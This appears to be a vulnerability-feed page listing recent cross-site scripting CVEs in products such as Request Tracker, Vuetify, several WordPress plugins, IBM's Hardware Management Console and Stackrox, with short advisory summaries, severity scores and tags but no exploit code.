Best Practical RT (Request Tracker) 5.0 through 5.0.7 allows XSS via JavaScript injection in an Asset name. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Request Tracker Bestpractical
NVD
EPSS 0% CVSS 7.2
HIGH This Month

Best Practical RT (Request Tracker) 4.4 through 4.4.7 and 5.0 through 5.0.7 allows XSS via injection of crafted parameters in a search URL. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Request Tracker Bestpractical
NVD
EPSS 0% CVSS 5.6
MEDIUM This Month

Improper neutralization of the value of the 'eventMoreText' property of the 'VCalendar' component in Vuetify allows unsanitized HTML to be inserted into the page. Rated medium severity (CVSS 5.6), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS
NVD GitHub HeroDevs
EPSS 0% CVSS 5.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability in Real Easy Store. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 3.0.15 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The WP Attachments plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘attachment_id’ parameter in all versions up to, and including, 5.0.12 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

IBM DS8900F and DS8A00 Hardware Management Console (HMC) is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Hardware Management Console R10 0 Firmware +2
NVD
EPSS 0% CVSS 5.0
MEDIUM This Month

A flaw was found in Stackrox, where it is vulnerable to Cross-site scripting (XSS) if the script code is included in a small subset of table cells. Rated medium severity (CVSS 5.0), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS Kubernetes Red Hat +2
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

code-projects Online Exam Mastering System 1.0 is vulnerable to Cross Site Scripting (XSS) via the name field in the feedback form. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Online Exam Mastering System Code Projects
NVD GitHub
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in DBAR Productions Volunteer Sign Up Sheets allows Stored XSS.5.5. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

A clickjacking vulnerability could have been used to trick a user into leaking saved payment card details to a malicious page. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mozilla
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40681

Related CWEs

MITRE ATT&CK

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